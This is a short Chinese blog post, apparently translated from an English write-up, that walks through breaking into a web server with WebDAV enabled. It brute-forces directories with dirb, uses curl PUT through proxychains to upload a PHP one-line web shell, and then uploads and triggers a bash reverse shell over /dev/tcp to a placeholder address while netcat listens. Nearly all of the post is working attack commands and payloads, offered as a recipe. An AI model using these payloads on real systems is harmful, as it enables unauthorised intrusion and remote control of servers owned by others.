Loading

PHP Backdoor + Reverse Shell on Vulnerable Website

翻译总结自:

https://shellgam3.com/2016/07/27/php-backdoor-reverse-shell-on-vulnerable-website/

扫描Web服务器,爆破常见目录

dirb http://xxxxxxxx

proxychains curl -X OPTIONS -v http://X.X.X.X/test/

上面的请求应该是 WebDAV 服务器. 使用 “PUT” 方法可以上传文件

比如一句话:<?php echo system($_GET[“cmd”]); ?>

上传文件:

proxychains curl --upload-file /root/Desktop/cmd.php -v --url http://X.X.X.X/test/cmd.php -0 --http1.0

 

浏览器访问:X.X.X.X/test/cmd.php?cmd=ls%20/

 

上传一个反弹shell

exec 5<>/dev/tcp/xxx.xxx.xxx.xxx/443
cat <&5 | while read line; do $line 2>&5 >&5; done

proxychains curl  --upload-file /root/Desktop/bash_shell.sh -v --url http://X.X.X.X/test/shell.sh -0 --http1.0

本机监听端口,比如netcat:sudo nc -v -l -p 443

浏览器访问:X.X.X.X/test/cmd.php?cmd=bash shell.sh

 

posted @ 2017-02-01 20:08  ssooking  阅读(742)  评论(0编辑  收藏  举报